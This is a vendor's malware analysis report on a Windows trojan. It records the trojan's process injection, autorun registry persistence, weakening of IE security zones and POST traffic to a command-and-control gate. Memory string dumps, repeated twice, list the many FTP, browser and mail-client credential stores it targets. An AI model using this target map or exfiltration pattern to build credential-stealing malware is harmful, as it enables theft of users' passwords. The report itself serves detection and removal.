Trojan.MSIL.Agent.QK_fbb4656c0d – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:520

The Trojan injects its code into the following process(es):

%original file name%.exe:1560
IpOverUsbSvrc.exe:1856
atiesrx.exe:456
atiesrx.exe:536

Mutexes

The following mutexes were created/opened:

ZonesLockedCacheCounterMutexZonesCacheCounterMutexZonesCounterMutexShimCacheMutex

File activity

The process %original file name%.exe:1560 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Microsoft\atiesrx.exe (3361 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\IpOverUsbSvrc.exe (11 bytes)

Registry activity

The process %original file name%.exe:1560 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "37 5C 8C 1C A4 2A 80 3D A8 E6 4E E5 93 51 F8 B0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Application Data\Microsoft]
"IpOverUsbSvrc.exe" = "External Events Module"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process %original file name%.exe:520 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Personal" = "%Documents and Settings%\%current user%\My Documents"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKU\S-1-5-21-1844237615-1960408961-1801674531-500\Software\WinRAR]
"HWID" = "7B 30 32 39 30 31 36 43 37 2D 32 34 30 46 2D 34"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKU\S-1-5-21-1844237615-1960408961-1801674531-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\Administrator\My Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKU\S-1-5-21-1844237615-1960408961-1801674531-500\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ParseAutoexec" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKU\S-1-5-21-1844237615-1960408961-1801674531-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\Administrator\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C5 43 22 A3 A7 4A 87 60 A0 C0 13 E1 7A 03 69 BD"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKU\S-1-5-21-1844237615-1960408961-1801674531-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\Administrator\Local Settings\Application Data"

[HKCU\Software\WinRAR]
"HWID" = "7B 36 36 44 44 31 35 32 36 2D 36 32 45 45 2D 34"

The process IpOverUsbSvrc.exe:1856 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "18 F1 96 15 C2 18 7D 19 5D 7F 4D 02 CA E9 F6 7F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Application Data\Microsoft]
"atiesrx.exe" = "iubibila"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Multimedia Class Scheduler" = "%Documents and Settings%\%current user%\Application Data\Microsoft\IpOverUsbSvrc.exe"

The process atiesrx.exe:456 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "74 78 82 25 E0 EA EA F6 C9 B8 E3 91 6C BC D3 AF"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

Dropped PE files

MD5	File path
f8bc8d1ca96a71ae8e1e94a16c2b0b7f	c:\Documents and Settings\"%CurrentUserName%"\Application Data\Microsoft\IpOverUsbSvrc.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:520
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Application Data\Microsoft\atiesrx.exe (3361 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\IpOverUsbSvrc.exe (11 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Multimedia Class Scheduler" = "%Documents and Settings%\%current user%\Application Data\Microsoft\IpOverUsbSvrc.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name: Iubibila
Product Version: 1.0.0.0
Legal Copyright: Copyright (c) 2014
Legal Trademarks:
Original Filename: Iubibila.exe
Internal Name: Iubibila.exe
File Version: 1.0.0.0
File Description: iubibila
Comments:
Language: English (United States)

Company Name: Product Name: IubibilaProduct Version: 1.0.0.0Legal Copyright: Copyright (c) 2014Legal Trademarks: Original Filename: Iubibila.exeInternal Name: Iubibila.exeFile Version: 1.0.0.0File Description: iubibilaComments: Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	8192	187812	187904	5.33762	e81e1d6695f100c41784a10e4ba858bb
.rsrc	196608	344430	344576	4.55804	b05503d4fb22b8662e4701c505278fac
.reloc	548864	12	512	0.070639	13528f80762962682d55c1be340f415c

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://shuaacapitalae.com/mcss/gate.php	173.214.180.197

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /mcss/gate.php HTTP/1.0

Host: shuaacapitalae.com

Accept: */*

Accept-Encoding: identity, *;q=0

Content-Length: 275

Connection: close

Content-Type: application/octet-stream

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)

..=p...1u{6v........5..l_=.z.=...w0z....u.}ZN

........`yE.d..6L..H....F.......f.....D.b/.."....dNCa8.Y.......3t..j..1A.;i..<...K..;....:U.......q .........D...(X...^....J..*...;.b0}..0....4...q..b.....g.=........%B.e...mz..=..o0.:^G . 7O~tJ.as~..t.:..O..4x.........C...8z

HTTP/1.1 404 Not Found

Date: Thu, 07 May 2015 14:32:50 GMT

Server: Apache/2.4.10 (Unix) OpenSSL/1.0.1e-fips mod_bwlimited/1.4

Content-Length: 330

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL /mcss/gate.php was not found on this server.</p>.<p>Additionally, a 404 Not Found.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>...

POST /mcss/gate.php HTTP/1.0

Host: shuaacapitalae.com

Accept: */*

Accept-Encoding: identity, *;q=0

Content-Length: 275

Connection: close

Content-Type: application/octet-stream

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)

..=p...1u{6v........5..l_=.z.=...w0z....u.}ZN

........`yE.d..6L..H....F.......f.....D.b/.."....dNCa8.Y.......3t..j..1A.;i..<...K..;....:U.......q .........D...(X...^....J..*...;.b0}..0....4...q..b.....g.=........%B.e...mz..=..o0.:^G . 7O~tJ.as~..t.:..O..4x.........C...8z

HTTP/1.1 404 Not Found

Date: Thu, 07 May 2015 14:32:56 GMT

Server: Apache/2.4.10 (Unix) OpenSSL/1.0.1e-fips mod_bwlimited/1.4

Content-Length: 330

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL..

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

atiesrx.exe_536:

.text

`.rdata

@.data

Ph.iA

More information: hXXp://VVV.ibsensoftware.com/

password

12345678

password1

monkey

1234567

123456789

7777777

asshole

mickey

passw0rd

smokey

hockey

11111111

windows

1234567890

hXXp://shuaacapitalae.com/mcss/gate.php

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

kernel32.dll

netapi32.dll

ole32.dll

advapi32.dll

CryptGetUserKey

CryptExportKey

CryptDestroyKey

crypt32.dll

CertOpenSystemStoreA

CertEnumCertificatesInStore

CertCloseStore

CryptAcquireCertificatePrivateKey

msi.dll

pstorec.dll

^shell32.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

explorer.exe

POST %s HTTP/1.0

Host: %s

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)

{X-X-X-XX-XXXXXX}

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

Password

wcx_PTF.ini

FtpIniName

Software\Ghisler\Windows Commander

\Ipswitch\WS_FTP

\win.ini

WS_FTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\GlobalSCAPE\CuteFTP

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

\sm.dat

\Sites.dat

\Quick.dat

\History.dat

\sitemanager.xml

\recentservers.xml

\filezilla.xml

Port

Server.Host

Server.User

Server.Pass

Server.Port

Last Server Pass

Last Server Port

FTP Navigator

FTP Commander

ftplist.txt

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

\SmartFTP

Favorites.dat

History.dat

addrbk.dat

quick.dat

\TurboFTP

Software\TurboFTP

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

profiles.xml

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

PasswordType

Login

FtpSite.xml

\sites.xml

\FTPRush

RushSite.xml

FtpPort

Software\Cryer\WebSitePublisher

bitkinex.ds

\drives.js

"password" : "

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

FtpServer

FtpUserName

FtpPassword

_FtpPassword

FtpDirectory

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

ftplast.osd

\SharedSettings.ccs

\SharedSettings_1_0_5.ccs

\SharedSettings.sqlite

\SharedSettings_1_0_5.sqlite

leapftp

unleap.exe

sites.dat

sites.ini

\LeapWare\LeapFTP

PortNumber

\32BitFtp.ini

NDSites.ini

PassWord

Software\South River Technologies\WebDrive\Connections

FTP CONTROL

FTPCON

hXXp://

hXXps://

PTF://

opera

wand.dat

_Software\Opera Software

Opera.HTML\shell\open\command

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

wiseftpsrvs.ini

wisePTF.ini

FTPVoyager.ftp

FTPVoyager.qc

\RhinoSoft.com

nss3.dll

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3_open

sqlite3_close

sqlite3_prepare

sqlite3_step

sqlite3_column_bytes

sqlite3_column_blob

mozsqlite3.dll

profiles.ini

PathToExe

prefs.js

signons.sqlite

signons.txt

signons2.txt

signons3.txt

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

Firefox

\Mozilla\Firefox\

Software\Mozilla

fireFTPsites.dat

SeaMonkey

\Mozilla\SeaMonkey\

Mozilla

\Mozilla\Profiles\

Software\LeechFTP

bookmark.dat

SiteInfo.QFP

WinFTP

sites.db

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

servers.xml

\FTPGetter

ESTdb2.dat

QData.dat

\Estsoft\ALFTP

MS IE FTP Passwords

SiteServer %d\Host

SiteServer %d\WebUrl

SiteServer %d\Remote Directory

SiteServer %d-User

SiteServer %d-User PW

%s\Keychain

SiteServer %d\SFTP

DeluxeFTP

sites.xml

Web Data

Login Data

SQLite format 3

logins

origin_url

password_value

\Google\Chrome

\ChromePlus

Software\ChromePlus

\Nichrome

Staff-FTP

SM.arch

FreshFTP

BlazeFtp

site.dat

LastPassword

LastPort

Software\FlashPeak\BlazeFtp\Settings

\BlazeFtp

FTP .Link\shell\open\command

GoFTP

Connections.txt

3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

password 51:b:

FTP Now

FTPNow

SOFTWARE\Robo-FTP 3.7\Scripts

SOFTWARE\Robo-FTP 3.7\FTPServers

FTP Count

FTP File%d

2.5.29.37

Software\LinasFTP\Site Manager

.duck

user.config

NppFTP.xml

FTP destination server

FTP destination user

FTP destination password

FTP destination port

FTP destination catalog

FTP profiles

FTPShell

ftpshell.fsi

Software\MAS-Soft\FTPInfo\Setup

\FTPInfo

ServerList.xml

ftpsite.ini

FTPList.db

\MapleStudio\ChromePlus

Software\Nico Mak Computing\WinZip\FTP

My FTP

project.ini

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

NovaFTP.db

\INSoftware\NovaFTP

.oeaccount

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Mail

Software\Microsoft\Windows Mail

Mailbox.ini

\PocoSystem.ini

accounts.ini

PopPort

PopPassword

SmtpServer

SmtpPort

SmtpAccount

SmtpPassword

account.cfg

account.cfn

Dir #%d

SMTP Email Address

SMTP Server

SMTP User Name

HTTP User

HTTP Server URL

HTTPMail User Name

HTTPMail Server

SMTP User

POP3 Port

SMTP Port

IMAP Port

POP3 Password2

IMAP Password2

NNTP Password2

HTTPMail Password2

SMTP Password2

POP3 Password

IMAP Password

NNTP Password

HTTP Password

SMTP Password

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

inetcomm server passwords

outlook account manager passwords

STATUS-IMPORT-OK

;3 #>6.&

'2, / 0&7!4-)1#

GetWindowsDirectoryA

user32.dll

RegOpenKeyExA

RegCloseKey

RegOpenKeyA

RegEnumKeyExA

RegCreateKeyA

InternetCrackUrlA

InternetCreateUrlA

wininet.dll

shlwapi.dll

wsock32.dll

userenv.dll

2hXXp://VVV.facebook.com/

xthpt/:w/wwf.cabeoo.koc/m

atiesrx.exe_536_rwx_00400000_00019000:

.text

`.rdata

@.data

Ph.iA

More information: hXXp://VVV.ibsensoftware.com/

password

12345678

password1

monkey

1234567

123456789

7777777

asshole

mickey

passw0rd

smokey

hockey

11111111

windows

1234567890

hXXp://shuaacapitalae.com/mcss/gate.php

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

kernel32.dll

netapi32.dll

ole32.dll

advapi32.dll

CryptGetUserKey

CryptExportKey

CryptDestroyKey

crypt32.dll

CertOpenSystemStoreA

CertEnumCertificatesInStore

CertCloseStore

CryptAcquireCertificatePrivateKey

msi.dll

pstorec.dll

^shell32.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

explorer.exe

POST %s HTTP/1.0

Host: %s

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)

{X-X-X-XX-XXXXXX}

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

Password

wcx_PTF.ini

FtpIniName

Software\Ghisler\Windows Commander

\Ipswitch\WS_FTP

\win.ini

WS_FTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\GlobalSCAPE\CuteFTP

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

\sm.dat

\Sites.dat

\Quick.dat

\History.dat

\sitemanager.xml

\recentservers.xml

\filezilla.xml

Port

Server.Host

Server.User

Server.Pass

Server.Port

Last Server Pass

Last Server Port

FTP Navigator

FTP Commander

ftplist.txt

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

\SmartFTP

Favorites.dat

History.dat

addrbk.dat

quick.dat

\TurboFTP

Software\TurboFTP

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

profiles.xml

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

PasswordType

Login

FtpSite.xml

\sites.xml

\FTPRush

RushSite.xml

FtpPort

Software\Cryer\WebSitePublisher

bitkinex.ds

\drives.js

"password" : "

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

FtpServer

FtpUserName

FtpPassword

_FtpPassword

FtpDirectory

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

ftplast.osd

\SharedSettings.ccs

\SharedSettings_1_0_5.ccs

\SharedSettings.sqlite

\SharedSettings_1_0_5.sqlite

leapftp

unleap.exe

sites.dat

sites.ini

\LeapWare\LeapFTP

PortNumber

\32BitFtp.ini

NDSites.ini

PassWord

Software\South River Technologies\WebDrive\Connections

FTP CONTROL

FTPCON

hXXp://

hXXps://

PTF://

opera

wand.dat

_Software\Opera Software

Opera.HTML\shell\open\command

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

wiseftpsrvs.ini

wisePTF.ini

FTPVoyager.ftp

FTPVoyager.qc

\RhinoSoft.com

nss3.dll

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3_open

sqlite3_close

sqlite3_prepare

sqlite3_step

sqlite3_column_bytes

sqlite3_column_blob

mozsqlite3.dll

profiles.ini

PathToExe

prefs.js

signons.sqlite

signons.txt

signons2.txt

signons3.txt

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

Firefox

\Mozilla\Firefox\

Software\Mozilla

fireFTPsites.dat

SeaMonkey

\Mozilla\SeaMonkey\

Mozilla

\Mozilla\Profiles\

Software\LeechFTP

bookmark.dat

SiteInfo.QFP

WinFTP

sites.db

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

servers.xml

\FTPGetter

ESTdb2.dat

QData.dat

\Estsoft\ALFTP

MS IE FTP Passwords

SiteServer %d\Host

SiteServer %d\WebUrl

SiteServer %d\Remote Directory

SiteServer %d-User

SiteServer %d-User PW

%s\Keychain

SiteServer %d\SFTP

DeluxeFTP

sites.xml

Web Data

Login Data

SQLite format 3

logins

origin_url

password_value

\Google\Chrome

\ChromePlus

Software\ChromePlus

\Nichrome

Staff-FTP

SM.arch

FreshFTP

BlazeFtp

site.dat

LastPassword

LastPort

Software\FlashPeak\BlazeFtp\Settings

\BlazeFtp

FTP .Link\shell\open\command

GoFTP

Connections.txt

3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

password 51:b:

FTP Now

FTPNow

SOFTWARE\Robo-FTP 3.7\Scripts

SOFTWARE\Robo-FTP 3.7\FTPServers

FTP Count

FTP File%d

2.5.29.37

Software\LinasFTP\Site Manager

.duck

user.config

NppFTP.xml

FTP destination server

FTP destination user

FTP destination password

FTP destination port

FTP destination catalog

FTP profiles

FTPShell

ftpshell.fsi

Software\MAS-Soft\FTPInfo\Setup

\FTPInfo

ServerList.xml

ftpsite.ini

FTPList.db

\MapleStudio\ChromePlus

Software\Nico Mak Computing\WinZip\FTP

My FTP

project.ini

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

NovaFTP.db

\INSoftware\NovaFTP

.oeaccount

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Mail

Software\Microsoft\Windows Mail

Mailbox.ini

\PocoSystem.ini

accounts.ini

PopPort

PopPassword

SmtpServer

SmtpPort

SmtpAccount

SmtpPassword

account.cfg

account.cfn

Dir #%d

SMTP Email Address

SMTP Server

SMTP User Name

HTTP User

HTTP Server URL

HTTPMail User Name

HTTPMail Server

SMTP User

POP3 Port

SMTP Port

IMAP Port

POP3 Password2

IMAP Password2

NNTP Password2

HTTPMail Password2

SMTP Password2

POP3 Password

IMAP Password

NNTP Password

HTTP Password

SMTP Password

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

inetcomm server passwords

outlook account manager passwords

STATUS-IMPORT-OK

;3 #>6.&

'2, / 0&7!4-)1#

GetWindowsDirectoryA

user32.dll

RegOpenKeyExA

RegCloseKey

RegOpenKeyA

RegEnumKeyExA

RegCreateKeyA

InternetCrackUrlA

InternetCreateUrlA

wininet.dll

shlwapi.dll

wsock32.dll

userenv.dll

2hXXp://VVV.facebook.com/

xthpt/:w/wwf.cabeoo.koc/m

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps